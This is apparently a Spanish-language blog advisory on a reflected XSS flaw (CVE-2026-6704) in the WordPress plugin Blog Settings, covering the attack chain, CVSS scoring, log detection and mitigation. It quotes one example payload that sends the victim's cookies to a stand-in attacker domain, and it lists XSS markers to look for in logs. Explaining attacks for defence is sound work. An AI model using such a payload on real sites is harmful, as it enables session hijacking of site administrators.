CVE-2026-6704 es una vulnerabilidad de XSS reflejado en el plugin Blog Settings para WordPress, que afecta todas las versiones hasta la 1.0 inclusive. Cualquier atacante sin autenticación puede inyectar scripts maliciosos mediante el parámetro page y ejecutarlos en el navegador de una víctima con solo lograr que haga clic en un enlace manipulado.
En 30 segundos
- Plugin afectado: Blog Settings para WordPress, versiones hasta 1.0 (todas).
- Tipo de ataque: XSS reflejado mediante el parámetro
page, sin necesidad de cuenta ni privilegios. - Riesgo real: robo de sesiones, inyección de código, redirecciones maliciosas si la víctima hace clic en un enlace trampa.
- Puntuación CVSS v3.1: severidad media, vector
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:Nsegún Wordfence Threat Intel. - Acción inmediata: verificar si tenés el plugin instalado y actualizarlo o desactivarlo hasta que haya parche confirmado.
Wordfence es un plugin de seguridad para WordPress que protege contra malware, ataques de fuerza bruta y vulnerabilidades mediante firewall, scanner de código y monitoreo de tráfico, desarrollado por Wordfence Security.
CVE-2026-6704: qué es y por qué aparece en tu radar
CVE-2026-6704 es el identificador oficial asignado a una falla de Cross-Site Scripting reflejado en el plugin Blog Settings para WordPress. La vulnerabilidad existe porque el plugin no sanitiza correctamente la entrada del parámetro page ni escapa el output antes de renderizarlo en la página. El resultado: cualquier persona sin cuenta en tu sitio puede construir una URL con código JavaScript incrustado y, si logra que un usuario autenticado la abra, ese script se ejecuta en el navegador de la víctima.
El plugin Blog Settings permite ajustar configuraciones básicas del blog desde el panel de administración. Su función es relativamente menor, lo que hace que mucha gente lo instale y lo olvide. Ese olvido es exactamente el problema.
¿Qué versiones están afectadas?
Según el reporte de INCIBE-CERT, la vulnerabilidad está presente en todas las versiones del plugin hasta la 1.0 inclusive. Eso cubre la totalidad de las instalaciones activas, ya que 1.0 es la versión más reciente disponible en el repositorio oficial de WordPress.
Dicho esto, si tenés el plugin instalado en cualquier versión, estás expuesto.
Cómo funciona el ataque XSS reflejado en Blog Settings
Ponele que alguien te manda por email un enlace de aspecto inocente que apunta a tu propio sitio. La URL incluye algo como ?page=<script>document.location='https://sitio-atacante.com/steal?c='+document.cookie</script>. Vos lo abrís porque el dominio es el tuyo y parece legítimo.
Lo que pasa después depende de cómo el plugin procesa ese parámetro page. En el caso de Blog Settings, el código en la línea 173 del archivo blog-settings.php (visible en el repositorio de plugins de WordPress) toma el valor del parámetro y lo imprime en la página sin sanitizarlo. El navegador recibe el HTML con el script incrustado y lo ejecuta como si fuera parte del sitio.
En dos palabras: el servidor rebota (refleja) el input malicioso hacia el navegador de quien abre el enlace, de ahí el nombre «XSS reflejado».
XSS reflejado vs. almacenado: la diferencia que importa
El XSS almacenado guarda el payload en la base de datos y lo sirve a cualquiera que visita la página (más peligroso en escala). El XSS reflejado requiere que la víctima abra una URL específica con el payload embebido. No se persiste en el servidor.
¿Y qué pasó cuando los investigadores lo probaron en producción? Que el requisito de interacción del usuario baja la puntuación de severidad, pero no elimina el riesgo. Un atacante que apunta a un administrador específico con un phishing bien armado tiene posibilidades reales.
Cadena de ataque paso a paso
El flujo es más simple de lo que parece:
- El atacante identifica un sitio con Blog Settings instalado (búsqueda en Google con dorks o escaneo masivo).
- Construye una URL con payload JavaScript en el parámetro
page. - La envía al administrador del sitio disfrazada como enlace al propio dashboard, reset de contraseña, o notificación de plugin.
- El admin hace clic (estando autenticado en WordPress). El script se ejecuta en su sesión.
- El atacante puede robar cookies de sesión, redirigir al usuario, modificar el DOM, o ejecutar acciones en nombre del admin.
Sin autenticación previa. Sin vulnerar el servidor directamente. Solo una URL y algo de ingeniería social. (Sí, en serio, eso alcanza.)
Evaluación de severidad: qué dice el CVSS v3.1
El vector oficial es CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Desglosado:
| Métrica | Valor | Qué significa |
|---|---|---|
| Vector de acceso (AV) | N (Red) | Explotable de forma remota, sin acceso físico |
| Complejidad (AC) | L (Baja) | No requiere condiciones especiales |
| Privilegios requeridos (PR) | N (Ninguno) | Cualquiera puede intentar el ataque |
| Interacción del usuario (UI) | R (Requerida) | La víctima tiene que abrir el enlace |
| Alcance (S) | C (Cambiado) | El impacto se extiende más allá del componente vulnerable |
| Confidencialidad (C) | L (Bajo) | Acceso limitado a información |
| Integridad (I) | L (Bajo) | Modificaciones limitadas |
| Disponibilidad (A) | N (Ninguno) | No afecta disponibilidad |
La puntuación base cae en el rango medio. Lo que me preocupa no es el número sino la combinación PR:N + AC:L: cualquiera puede intentar el ataque sin preparación técnica avanzada. El único freno es que requiere que alguien haga clic.
Pasos inmediatos para proteger tu sitio
Al momento de publicar este artículo, el repositorio oficial de Blog Settings en wordpress.org/plugins/blog-settings lista la versión 1.0 como la más reciente. Si no existe una versión 1.0.1 o superior disponible, tenés dos opciones:
- Desactivar el plugin temporalmente hasta que el desarrollador publique un parche. Un plugin inactivo no es un vector de ataque.
- Usar un WAF como el de Wordfence para bloquear requests que incluyan patrones de XSS en los parámetros. Wordfence ya tiene reglas para este tipo de ataques reflejados.
- Revisar si realmente necesitás el plugin: si lo instalaste hace tiempo y ya no lo usás activamente, es un candidato obvio para eliminar.
Ojo: desactivar no alcanza si no eliminás el plugin. Aunque inactivo no ejecuta código PHP, el archivo sigue siendo indexable y visible. Eliminarlo es la opción más limpia.
Detección: ¿ya explotaron la vulnerabilidad en tu sitio?
Si querés saber si alguien intentó explotar esta falla antes de que te enteraras, lo que buscás en los logs son requests GET o POST al plugin con el parámetro page que contengan caracteres típicos de XSS: <, %3C, script, javascript:, onerror, onload.
Con Wordfence instalado, revisá la sección Live Traffic y filtrá por «Blocked» y «Critical». Si ves eventos que mencionan el plugin Blog Settings o el parámetro page con payloads, ya tenés evidencia de intento de explotación.
Una oración larga como la que pasa en producción: revisás los logs de acceso de Apache o Nginx, encontrás una decena de requests con ?page=%3Cscript%3E que llegaron desde la misma IP entre las 3 y las 4 AM, ahí entendés que alguien hizo un scan automático, y aunque ninguno funcionó porque Wordfence los bloqueó, ya sabés que ese plugin está en la mira y lo desactivás esa misma mañana.
Prácticas preventivas que evitan este tipo de problemas
Cada vulnerabilidad como esta tiene el mismo patrón de fondo: un plugin menor, poco mantenido, con validación de input descuidada. La prevención no es glamorosa pero es concreta:
- Actualizaciones automáticas para plugins: activá las actualizaciones automáticas al menos para plugins de bajo riesgo. Los críticos los revisás manualmente.
- Auditoría de plugins activos cada 90 días: cualquier plugin que no usaste en los últimos tres meses es candidato a eliminación.
- Content Security Policy (CSP): un header CSP bien configurado puede bloquear la ejecución de scripts inyectados incluso si el XSS llegó al HTML. No es a prueba de balas pero agrega una capa real.
- Monitor de vulnerabilidades: herramientas como WPScan o el plugin WPVulnerability (que ya tenés instalado si seguís este blog) te avisan cuando un plugin que usás tiene un CVE reportado.
Si tu sitio está hosteado en un ambiente que no controlás del todo, también tiene sentido evaluar opciones con mejores herramientas de seguridad a nivel servidor. Para sitios WordPress en Argentina, donweb.com tiene planes con soporte dedicado que facilitan este tipo de gestión.
Errores comunes al manejar este tipo de vulnerabilidades
Confundir «no hay exploit público» con «estoy seguro»
Al momento de publicación, no hay exploit funcional público documentado para CVE-2026-6704. Eso no significa que no exista en privado o que no se desarrolle. El tiempo entre publicación de CVE y aparición de exploits públicos se redujo mucho. Tratalo como si el exploit ya existiera.
Desactivar el plugin y darlo por resuelto
Un plugin desactivado no ejecuta código PHP en los requests normales, pero los archivos siguen en el servidor. Si hay otra vulnerabilidad en WordPress core que permite lectura de archivos, el código vulnerable sigue accesible. La única solución completa es eliminar el plugin.
Esto se conecta directamente con CVE-2026-6704, donde cubrimos el tema en profundidad.
Creer que la severidad «media» significa baja prioridad
La puntuación CVSS resume el vector técnico pero no modela el contexto de tu sitio. Si tu blog tiene un admin con acceso a datos de clientes o integración con WooCommerce, el impacto real de un robo de sesión supera ampliamente lo que el número sugiere. Evalúalo en tu contexto, no en abstracto.
Preguntas Frecuentes
¿Qué es la vulnerabilidad CVE-2026-6704?
CVE-2026-6704 es una vulnerabilidad de Cross-Site Scripting reflejado en el plugin Blog Settings para WordPress. Afecta todas las versiones hasta la 1.0 y permite que atacantes sin autenticación inyecten scripts maliciosos mediante el parámetro page si logran que un usuario haga clic en un enlace manipulado.
¿Cómo afecta CVE-2026-6704 a mi sitio WordPress?
Si tenés el plugin Blog Settings instalado y activo, un atacante puede enviarle al administrador del sitio una URL con código JavaScript embebido. Si el admin la abre autenticado, ese script se ejecuta: puede robar cookies de sesión, redirigir la página o ejecutar acciones en nombre del admin. No se compromete el servidor directamente.
¿Cómo actualizo el plugin Blog Settings para parchear CVE-2026-6704?
Al momento de la publicación de este CVE, la versión disponible en el repositorio oficial es la 1.0 (la afectada). Si el desarrollador publica una versión 1.0.1 o superior, actualizá desde el panel de WordPress en Plugins > Actualizaciones. Si no hay parche disponible, desactivá y eliminá el plugin hasta que exista corrección confirmada.
¿Cuál es el riesgo del XSS reflejado comparado con el XSS almacenado?
El XSS almacenado es más peligroso a escala porque el payload se guarda en la base de datos y afecta a cualquiera que visita la página. El XSS reflejado requiere que la víctima abra una URL específica, lo que limita el alcance pero no elimina el riesgo: un ataque dirigido contra un administrador específico con phishing puede ser igual de efectivo.
¿Necesito desactivar el plugin Blog Settings inmediatamente?
Si no tenés una versión parcheada disponible, sí. La desactivación elimina el vector de ataque activo. Lo ideal es eliminarlo del servidor (no solo desactivarlo) hasta que exista un parche oficial confirmado. Si el plugin es crítico para tu operación, usá un WAF como Wordfence con reglas de XSS activas como medida temporal.
Conclusión
CVE-2026-6704 es un recordatorio de algo que se repite constantemente: los plugins pequeños y poco actualizados son un vector de ataque frecuente en WordPress. La vulnerabilidad en Blog Settings no es devastadora en términos técnicos, pero tampoco es trivial. Un XSS reflejado sin autenticación requerida, con baja complejidad de ataque, en un parámetro expuesto en todas las versiones del plugin, es una combinación que no se puede ignorar.
¿Alguien ya está explotándola activamente? No hay evidencia pública confirmada al momento de escribir esto. Eso puede cambiar rápido.
La acción concreta es simple: verificá si Blog Settings está instalado, buscá actualizaciones, y si no hay parche disponible, eliminalo. Treinta segundos de auditoría ahora valen más que horas de investigación forense después de un incidente.